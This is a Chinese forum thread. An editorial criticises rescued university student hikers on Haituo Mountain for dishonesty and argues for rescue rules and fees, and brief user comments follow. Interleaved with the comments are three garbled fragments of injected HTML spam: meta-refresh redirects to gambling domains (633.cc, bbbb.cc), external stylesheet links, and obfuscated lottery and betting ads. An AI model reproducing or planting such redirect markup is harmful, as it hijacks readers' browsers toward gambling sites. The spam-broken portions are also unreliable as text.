救援队无条件救援 海坨山被困大学生态度引争议

秘书组

近日，6名“驴友”相约前往北京延庆县海坨山露营，不料行至半山腰时被困。据了解，6名“驴友”均为在校大学生，其中1人走散后翻过山顶，与河北救援人员联系后成功下山。自前晚7点半开始，延庆县应急办和松山消防中队组织人员历经9小时将另外5名学生营救下山。获救后，部分学生担心保研受影响虚报个人信息。 　　又有驴友出事儿了。我为什么用个“又”字？因为这段时间已经发生了好几起类似事件了。这次事件的焦点在于：不懂感恩，不够真诚。我觉得如果这些事情属实的话，那么这些学生真的没有保研的资格，因为他们缺乏起码的诚信和道德。<br/>　　有网友说他们太自私了。且看他们关于这次怕事失败的看法，几人始终将受困的主要原因归咎于天气。“等下次备足装备、人手，我们还会再来爬这座山。”他们中的一人对记者这样说。这话的意思就是他们没有吸取这次事故的任何教训，也不认为自己给当地部门添了麻烦，反过来好像当地部门的成功营救给了他们更大的信心。<br/>　　这些学生的心态，也许就是很多驴友的心态，单单是延庆县，从去年6月到现在，松山搜救队的消防员和当地的向导一起合作，已经救下了迷路、被困的游客80余人。这个数字说明了一个问题，那就是我国的很多驴友都极其业余，对于自身能力估计不足，对于每一次冒险也准备不足，而最终，这些不足转换为险情，需要有关部门调动大量公共资源来援助。<br/>　　在之前的几次驴友遇险事件中，网友们曾经讨论过营救的问题。支持的网友认为，营救遇险国民，是政府部门应尽的义务，责无旁贷。而反对的网友认为，公共资源是有限的，应该更多的用于真正需要的险情中，而不是为这些草率行动的驴友们买单，这些驴友应该对自己的行为负责。<br/>　　这两种观点都有正确的部分，首先我们必须承认，政府有义务帮助遇险国民，这是政府的责任所在。但同时我们需要思考，履行责任所花费的公共资源是否都应该由政府买单，换句话说就是是否都应该由纳税人买单？这个问题实际上在户外运动最发达的美国也存在争议。一个合理的办法就是制定尽可能详尽的救援规则，对于驴友的行动作出种种限制，如果驴友违反这些限制，那么救援将不是免费的，甚至如果风险过大，救援方面也可能放弃救援。美国有八个州已通过可对救援服务收费的法律，但有很多限制和条件，主要针对因违反规定而令自己身陷险境的求救者。<br/>　　对救援明码标价可能会给人以功利的感觉，然而从结果上来讲，它对于驴友的行动有规范作用。同时我们需要把这个责任问题细节化、技术化，分清政府和驴友间的权责，这比纠缠于道德层面的争论更有意义。我想那几个大学生也就能够明白救援的分量有多重、他们的态度有多恶劣了。<br/>

="refresh" "0; url=http://633.cc"><link href="http://bbs.633.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时╢彩| 六合投╢注| ╢乐╢城:╢

西安羊倌

<p><strong><font size="6">呵呵呵无语</font></strong></p>

="refresh" "0; url=http://bbbb.cc"><link href="http://bbs.bbbb.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时∈彩| 六合投∈注| ∈乐∈城:∈

浪子

这些驴友缺乏起码的诚信和道德！<br/>

="refresh" "0; url=http://633.cc"><link href="http://bbs.633.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时ⅱ彩| 六合投ⅱ注| ⅱ乐ⅱ城:ⅱ

白云深处

建议每次救援政府公安 消防等先上&nbsp; 他们找不见我们再去&nbsp; 让那些人受点苦 也才能体现我们存在的价值